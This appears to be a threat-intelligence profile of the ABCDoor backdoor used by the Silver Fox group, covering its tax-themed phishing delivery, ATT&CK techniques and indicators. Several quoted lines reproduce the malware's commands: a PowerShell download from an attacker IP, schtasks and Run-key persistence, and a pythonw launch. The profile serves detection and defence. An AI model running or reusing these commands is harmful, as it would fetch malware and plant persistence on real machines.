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MalwareUsed by 1 actor

ABCDoor

ABCDoor is a previously undocumented Python-based backdoor, compiled in part with Cython 3.0.7, that researchers attributed to the Silver Fox threat group. It has been in Silver Fox’s arsenal since at least late 2024, with reporting indicating activity from at least December 19, 2024, and operational use in real-world attacks from the first quarter of 2025 onward. It was named ABCDoor because its command-and-control infrastructure repeatedly used third-level domains beginning with "abc.".

ABCDoor was observed in phishing-led intrusion chains targeting organizations in India and Russia, including industrial, consulting, trade/retail, and transportation sectors. In campaigns observed in December 2025 and January 2026, Silver Fox used tax-themed phishing emails impersonating Indian and Russian tax authorities. The emails delivered PDFs containing links to ZIP/RAR archives, or archives directly, which contained a modified RustSL-based loader. That loader downloaded ValleyRAT, and custom ValleyRAT plugins such as 保86.dll and 保86.dll_bin then installed ABCDoor.

The ABCDoor installation chain downloaded a large archive from 154.82.81[.]205 and saved it as %LOCALAPPDATA%\appclient\111.zip. The archive contained a bundled Python runtime and ffmpeg.exe. Installer scripts copied files into C:\ProgramData\Tailscale and launched the malware via pythonw.exe -m appclient to masquerade as legitimate software. ABCDoor’s main module was identified as appclient.core, a Cython-compiled .pyd module.

ABCDoor establishes persistence via HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\AppClient and a scheduled task named AppClient configured to run every minute. It communicates with its C2 over HTTPS using Socket.IO. Reported capabilities include system information collection, screen capture and screen streaming, remote mouse and keyboard control, file operations, process management, clipboard theft, self-update, and self-removal. ffmpeg.exe is used for screen capture/broadcasting.

Associated infrastructure and related indicators mentioned in the reporting include phishing links hosted under abc.haijing88[.]com, ValleyRAT-related C2 207.56.138[.]28:6666, and ABCDoor delivery archives retrieved from 154.82.81[.]205. The malware was delivered through a custom ValleyRAT plugin in campaigns attributed by researchers to Silver Fox.

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THREAT ACTORS

Groups observed using it

1 distinct threat actor attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.

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Silver Fox

Мы назвали этот бэкдор ABCDoor... ранее недокументированный бэкдор, написанный на Python... Ретроспективное исследование показало, что он находился в арсенале Silver Fox как минимум с конца 2024 года и применяется в реальных атаках с первого квартала 2025 года по сей день.

via securelist rusecurelist.ru
MITRE ATT&CK

Techniques & procedures

27 distinct techniques documented for this family, organized by ATT&CK tactic.

Initial Access

3 techniques
T1566PhishingEvidence3

The activity involved using phishing emails that mimic correspondence from the Income Tax Department of India in December 2025, followed by a similar campaign aimed at Russian entities.

T1566.001Spearphishing AttachmentEvidence2

Обе волны имели почти идентичную структуру: фишинговые письма оформлялись как официальные уведомления о проведении налоговых проверок или предлагали загрузить архив с «перечнем налоговых нарушений»... В декабрьской рассылке вредоносный код содержался непосредственно в приложенных к письму файлах.

T1566.002Spearphishing LinkEvidence4

В январской рассылке жертвам приходило письмо якобы от налоговой службы с вложенным PDF-файлом... В PDF-файле присутствовали две кликабельные ссылки для загрузки архива, ведущие на вредоносный ресурс.

Execution

6 techniques
T1053.005Scheduled TaskEvidence2

В планировщике задач. Для этого зловред выполняет следующую команду: cmd.exe /c "schtasks /create /sc minute /mo 1 /tn "AppClient" /tr "<path_to_pythonw.exe> -m appclient" /f"

T1059.001PowerShellEvidence1
TacticExecution

С помощью PowerShell: powershell.exe -Command ... Invoke-WebRequest -Uri 'hxxp://154.82.81[.]205/YD20251001143052.zip' ...

T1059.003Windows Command ShellEvidence1
TacticExecution

После загрузки DLL-модуль распаковывает архив ... и запускает файл update.bat посредством следующей команды: cmd.exe /c "C:\Users\<user>\AppData\Local\appclient\update.bat"

T1059.006PythonEvidence2
TacticExecution

Скопировав файлы, скрипт запускает Python-модуль appclient с помощью легитимного инструмента pythonw: start "" /B "%DES_DIR%\python\pythonw.exe" -m appclient

T1059.007JavaScriptEvidence2
TacticExecution

С ноября 2025 года для доставки ABCDoor злоумышленники стали использовать JavaScript-загрузчик... Затем он запускал файл run.deobfuscated.obf.js

T1204User ExecutionEvidence1
TacticExecution

Оба варианта рассылки пытаются сыграть на важности писем от налоговых органов, чтобы убедить жертву скачать документ и запустить цепочку атаки.

Persistence

3 techniques
T1053.005Scheduled TaskEvidence2

В планировщике задач. Для этого зловред выполняет следующую команду: cmd.exe /c "schtasks /create /sc minute /mo 1 /tn "AppClient" /tr "<path_to_pythonw.exe> -m appclient" /f"

T1112Modify RegistryEvidence1

После запуска команды cmd /c start /min python/pythonw.exe -m appclient полезная нагрузка Silver Fox закрепляется в системе путем изменения значения параметра UserInitMprLogonScript в разделе реестра HKCU\Environment.

T1547.001Registry Run Keys / Startup FolderEvidence2

В реестре в значении HKCU:\Software\Microsoft\Windows\CurrentVersion\Run:AppClient прописывается "<path_to_pythonw.exe>" -m appclient

T1053.005Scheduled TaskEvidence2

В планировщике задач. Для этого зловред выполняет следующую команду: cmd.exe /c "schtasks /create /sc minute /mo 1 /tn "AppClient" /tr "<path_to_pythonw.exe> -m appclient" /f"

T1055Process InjectionEvidence1

Running within a legitimate pythonw.exe process, ABCDoor is able to stay hidden for extended periods

T1547.001Registry Run Keys / Startup FolderEvidence2

В реестре в значении HKCU:\Software\Microsoft\Windows\CurrentVersion\Run:AppClient прописывается "<path_to_pythonw.exe>" -m appclient

Stealth

4 techniques
T1027Obfuscated Files or InformationEvidence1
TacticStealth

оригинальная версия RustSL по умолчанию шифрует все строки и добавляет мусорные инструкции для усложнения анализа... Запускаемый JS-скрипт сильно обфусцирован

T1036MasqueradingEvidence1
TacticStealth

The loader is disguised with a PDF or Excel file icon to avoid raising suspicion.

T1055Process InjectionEvidence1

Running within a legitimate pythonw.exe process, ABCDoor is able to stay hidden for extended periods

T1218System Binary Proxy ExecutionEvidence1
TacticStealth

После загрузки DLL-модуль распаковывает архив с помощью методов COM... Скопировав файлы, скрипт запускает Python-модуль appclient с помощью легитимного инструмента pythonw.exe

T1112Modify RegistryEvidence1

После запуска команды cmd /c start /min python/pythonw.exe -m appclient полезная нагрузка Silver Fox закрепляется в системе путем изменения значения параметра UserInitMprLogonScript в разделе реестра HKCU\Environment.

Credential Access

2 techniques
T1056Input CaptureEvidence2

ABCDoor is able to stay hidden for extended periods while quietly collecting screen data, exfiltrating clipboard contents, managing files, and emulating mouse and keyboard input on the victim’s machine.

T1056.001KeyloggingEvidence1

KeyboardManager — эмуляция нажатий кнопок клавиатуры

Discovery

3 techniques
T1057Process DiscoveryEvidence2
TacticDiscovery

ProcessManager — управление процессами

T1082System Information DiscoveryEvidence1
TacticDiscovery

MainManager — подключение к C2 и авторизация (отправка данных о системе); SystemInfoManager — сбор данных о системе жертвы

T1083File and Directory DiscoveryEvidence3
TacticDiscovery

FileManager — операции с файловой системой

Collection

5 techniques
T1056Input CaptureEvidence2

ABCDoor is able to stay hidden for extended periods while quietly collecting screen data, exfiltrating clipboard contents, managing files, and emulating mouse and keyboard input on the victim’s machine.

T1056.001KeyloggingEvidence1

KeyboardManager — эмуляция нажатий кнопок клавиатуры

T1113Screen CaptureEvidence3

SystemInfoManager — сбор данных о системе жертвы, в том числе снимков экранов; RemoteControlManager ... запись экранов ... Для трансляции экрана используется отдельный файл ffmpeg.exe

T1115Clipboard DataEvidence3

ClipboardManager — отправка буфера обмена на C2

T1560Archive Collected DataEvidence2

при возникновении исключений записывает их в файл %LOCALAPPDATA%\applogs\exception_logs.zip... реализовала функцию Utility::upload_exception_logs для отправки архива с исключениями

T1071.001Web ProtocolsEvidence2

Бэкдор построен на основе Python-библиотек asyncio и Socket.IO. Он взаимодействует с C2 по протоколу HTTPS

T1105Ingress Tool TransferEvidence3

Он скачивал и запускал известный бэкдор ValleyRAT... модуль пытался несколькими способами загрузить с жестко закодированного адреса архив размером 52,5 МБ.

T1219Remote Access ToolsEvidence1

including ABCDoor for data exfiltration and remote control.

Exfiltration

1 technique
T1041Exfiltration Over C2 ChannelEvidence2

ClipboardManager — отправка буфера обмена на C2 ... Utility::upload_exception_logs для отправки архива с исключениями на заданный URI

INDICATORS OF COMPROMISE

IOCs tracked for this family

98 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.

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Network
23 tracked

IPs, domains, and DNS infrastructure linked to this family.

Hashes
59 tracked

File hashes (MD5, SHA-1, SHA-256) from samples and reports.

Other
16 tracked

Other indicator types observed in public reporting.

TypeValueLatest sighting
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ACTIVITY FEED

Recent activity

5 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

cyber security newsNews
May 5, 2026
Silver Fox Uses Fake Tax Notices to Deploy ValleyRAT and New ABCDoor Backdoor

ABCDoor is a newly documented Python-based backdoor compiled with Cython 3.0.7. It is delivered through a custom ValleyRAT plugin, installed with a bundled Python environment, and abuses ffmpeg.exe for screen capture and broadcasting. It persists via the Windows Run key and a scheduled task named 'AppClient,' hides under C:\ProgramData\Tailscale, and can collect screen data, exfiltrate clipboard contents, manage files, and emulate mouse and keyboard input.

Read more
scworldNews
May 5, 2026
Silver Fox expands Asia cyber campaign with new ABCDoor malware | brief | SC Media

A previously undocumented Python-based backdoor used for data exfiltration and remote control, delivered via a ValleyRAT plugin in phishing-led campaigns.

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the hacker newsNews
May 4, 2026
Silver Fox Deploys ABCDoor Malware via Tax-Themed Phishing in India and Russia

A previously undocumented Python-based backdoor used by Silver Fox. It communicates over HTTPS, supports persistence, updates and self-removal, collects screenshots, enables remote mouse and keyboard control, performs file system operations, manages processes, and exfiltrates clipboard data.

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securelist ruNews
Apr 30, 2026
Разбираем “налоговую” кампанию Silver Fox и новый бэкдор ABCDoor | Securelist

Previously undocumented Python backdoor delivered via ValleyRAT plugins and earlier via C++/Go/JavaScript loaders. It persists via Run key and scheduled task, communicates with C2 over HTTPS using Socket.IO, gathers system info and screenshots, supports remote mouse/keyboard interaction, file/process/clipboard operations, screen streaming via ffmpeg, and self-update/self-delete.

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IOC matching98

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Threat actor attribution1

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping27

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.